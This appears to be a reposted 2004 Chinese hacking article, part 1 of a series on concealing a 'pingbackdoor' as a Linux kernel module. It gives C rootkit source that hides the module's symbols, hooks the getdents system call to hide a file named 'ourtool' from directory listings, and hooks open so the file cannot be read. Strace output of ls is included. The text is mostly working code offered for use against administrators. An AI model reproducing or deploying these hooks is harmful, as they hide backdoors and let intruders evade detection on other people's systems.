|
|
※阅读文章※ |
pingbackdoor的隐藏(1)作者:大鹰 by 大鹰 www.patching.net 这个程序早已做好,其实完全可以写一个脚本,和现有的lkm结合来隐藏进程,但我想重新改写程序,做成lkm,也就是一个c文件里面,实现功能如下: 1,隐藏核心符号链接表 一般的lkm程序都可以在符号链接表里面有标示,所以也极易被管理员发现,首先我们可以不把符号export出去,通过如下例程实现: register_symtab(NULL); 插入到init_module()函数块中 其次我们可以截获符号链接: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include /*获取export出来的函数*/ extern int *pingbackdoor; /*我们自己瞎编的一个系统符号如firewall*/ int new_call_in_firewall() { return 0; } int init_module(void) /*加载*/ { pingbackdoor=new_call_in_firewall; return 0; } void cleanup_module(void) /*卸载*/ { } 在我这个程序中第一种是可行的。 2,隐藏文件本身 呵呵,其实这个程序被编译一般都需要存储在磁盘,所以就有可能被发现,不管你是搞到..目录也好, 都会被发现的,我也可以通过两种方法来解决,一种比较简单,一种隐蔽性强! 好,看第一种的例程,通过截获ls命令的系统调用,我怎么获知ls用了哪些系统调用呢?谢天谢地, linux里面有个strace工具,而solaris里面有truss工具,呵呵,看看我的strace ls的结果: [Hello!root]# strace ls execve("/bin/ls", ["ls"], [/* 19 vars */]) = 0 brk(0) = 0x8053608 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0 x40014000 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=12625, ...}) = 0 old_mmap(NULL, 12625, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000 close(3) = 0 open("/lib/libtermcap.so.2", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 40 96 old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000 mprotect(0x4001c000, 3016, PROT_NONE) = 0 old_mmap(0x4001c000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x200 0) = 0x4001c000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 40 96 old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001d000 mprotect(0x4010a000, 30812, PROT_NONE) = 0 old_mmap(0x4010a000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec 000) = 0x4010a000 old_mmap(0x4010e000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON YMOUS, -1, 0) = 0x4010e000 close(3) = 0 mprotect(0x4001d000, 970752, PROT_READ|PROT_WRITE) = 0 mprotect(0x4001d000, 970752, PROT_READ|PROT_EXEC) = 0 munmap(0x40015000, 12625) = 0 personality(PER_LINUX) = 0 getpid() = 9912 brk(0) = 0x8053608 brk(0x8053640) = 0x8053640 brk(0x8054000) = 0x8054000 open("/usr/share/locale/locale.alias", O_RDONLY) = 3 fstat64(0x3, 0xbfffba44) = -1 ENOSYS (Function not implemented) fstat(3, {st_mode=S_IFREG|0644, st_size=2265, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0 x40015000 read(3, "# Locale name alias data base.\n#"..., 4096) = 2265 read(3, "", 4096) = 0 close(3) = 0 munmap(0x40015000, 4096) = 0 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or dire ctory) open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 close(3) = 0 open("/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=44, ...}) = 0 old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000 close(3) = 0 brk(0x8055000) = 0x8055000 open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=93, ...}) = 0 old_mmap(NULL, 93, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 close(3) = 0 open("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=29970, ...}) = 0 old_mmap(NULL, 29970, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40112000 close(3) = 0 open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=508, ...}) = 0 old_mmap(NULL, 508, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000 close(3) = 0 open("/usr/share/locale/en_US/LC_NUMERIC", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0 old_mmap(NULL, 27, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=87756, ...}) = 0 old_mmap(NULL, 87756, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4011a000 close(3) = 0 time(NULL) = 984434527 ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0 brk(0x8058000) = 0x8058000 open("/dev/null", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = -1 ENOTDIR (Not a directory ) open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY) = 3 fstat(3, {st_mode=S_IFDIR|0700, st_size=1024, ...}) = 0 fcntl(3, F_SETFD, FD_CLOEXEC) = 0 brk(0x805a000) = 0x805a000 getdents(3, /* 20 entries */, 3391) = 428 getdents(3, /* 0 entries */, 3391) = 0 close(3) = 0 lstat("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 lstat("/usr/lib", {st_mode=S_IFDIR|0755, st_size=8192, ...}) = 0 lstat("/usr/lib/gconv", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 open("/usr/lib/gconv/gconv-modules", O_RDONLY) = 3 。。。。。。。。。。。。 后面很多,但不太重要,实现第一种方法我们只需要截获getdents这个调用就可以了。因为ls就是通过 这个系统调用来获得文件及目录列表的。好看例程! #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; char hide[]="ourtool"; /*我们要隐藏的文件*/ /*调用原来的getdents -> 将结果保存于临时文件tmp */ tmp = (*orig_getdents) (fd, dirp, count); /*对磁盘缓冲的操作*/ /*这个检查是必须的,因为如果曾经有getdents被调用并且将结果保存缓冲区……*/ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif /*dinode是所需的目录的索引结点*/ if (tmp > 0) { /*dirp2是新的dirent结构*/ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); /*将dirent结构拷至dirp2*/ memcpy_fromfs(dirp2, dirp, tmp); /*将dirp3指向dirp2*/ dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; /*检查当前文件名是否是我们想要隐藏的名称*/ if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL) { /*如果有必要的话,修改dirent结构*/ if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*载入*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_getdents]=orig_getdents; } 不过这种方法系统管理员仍然可以通过cat xxx等命令来看到我的程序,只要程序名字起的不要太普通, 一般管理员是不会发现的。 好,我们看第二种隐藏方法,深度隐藏! 方法是,截获open调用并且检查文件名是否是我的程序名,如果是的话,就拒绝任何open的尝试,所以 read/write都不可能实现了,看例程: define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode) { char *kernel_pathname; char hide[]="ourtool"; /*this is old stuff -> transfer to kernel space*/ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)&hide ) != NULL) { kfree(kernel_pathname); /*返回一个‘file does not exist‘的error code*/ return -ENOENT; } else { kfree(kernel_pathname); /*没关系,文件名不是ourtool……*/ return orig_open(pathname, flag, mode); } } int init_module(void) /*加载*/ { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=hacked_open; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_open]=orig_open; } 好,太长了,下面的隐藏进程以及隐藏网络连接部分下回分解,呵呵 文章加入时间: 2004-11-17 15:01:51 责任编辑: w9 (2216 人次查阅) |